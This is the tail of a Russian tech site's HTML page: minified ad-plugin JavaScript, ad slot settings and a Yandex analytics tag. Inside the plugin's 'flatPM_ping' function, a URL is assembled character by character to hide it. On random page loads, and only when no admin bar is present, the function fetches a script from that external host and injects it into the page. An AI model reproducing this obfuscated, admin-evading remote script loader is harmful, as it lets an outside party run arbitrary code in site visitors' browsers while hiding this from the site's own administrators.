function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(l,"<$1></$2>")+r[2],n=r[0];n--;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,166);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"r"+"e"+"a"+"d"+"o"+"n"+"e"+"."+"r"+"u"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{r.appendChild(a)}catch(e){return console.warn(e),!0}ff(r).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,r="yandex_rtb_R";t.indexOf(r)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var n=parseHTML(t);if(0!=n.children.length)for(var o=n.childNodes.length,l=0;l<o;l++){var d=n.childNodes[l],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0<d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?i.innerHTML=d.innerHTML:(!d.text||/(yandexContext|yandexcontext)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,n='<div class="fpm_5_video_flex"><div class="fpm_5_timer">'+a+" через <span>"+l+'</span></div><div class="fpm_5_video_item">'+r+'</div><div class="fpm_5_video_item_hover"></div></div>',i=e.once;o(t).each(function(){var e=o(this);e.wrap('<div class="fpm_5_video"></div>');var t=e.closest(".fpm_5_video");flatPM_setHTML(t[0],n),e.find(".fpm_5_video_flex").one("click",function(){o(this).addClass("show")})}),o("body").on("click",".fpm_5_video_item_hover",function(){var e=o(this),t=e.closest(".fpm_5_video_flex");t.addClass("show");var a=t.find(".fpm_5_timer span"),r=parseInt(l),n=setInterval(function(){a.text(--r),r<=0&&(clearInterval(n),"true"==d?a.parent().replaceWith('<button class="fpm_5_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".fpm_5_video_flex .fpm_5_cross",function(){o(this).closest(".fpm_5_video_flex").remove(),"true"==i&&o(".fpm_5_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"simple":{"position":"4","fraction":"3\/10"}},"ID":"385","html":[{"fst":"<div data-la-block=\"2d69020d-e426-4814-aebb-a84012caa530\"><\/div>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"4","fraction":"4\/10"}},"ID":"6607","html":[{"fst":"<div data-la-block=\"43f65bdc-004d-474c-9801-30c856008c1f\"><\/div>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"4","fraction":"3\/4"}},"ID":"6608","html":[{"fst":"<div data-la-block=\"033b5155-fa9f-47e3-a18a-78d59e69ab09\"><\/div>","snd":"","res_of":"∞","res_to":"∞"}]}];</script> <script>function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123()</script> <script type="text/javascript" >(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date();k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym"); ym(52036446, "init", { clickmap:true, trackLinks:true, accurateTrackBounce:true });</script> <noscript><div><img src="https://mc.yandex.ru/watch/52036446" style="position:absolute; left:-9999px;" alt=""/></div></noscript><script type="text/javascript" defer src="https://huaweidevices.ru/wp-content/cache/wmac/js/wmac_4b28070b6ec0b3e8217e035a6a008ccc.js"></script></body></html>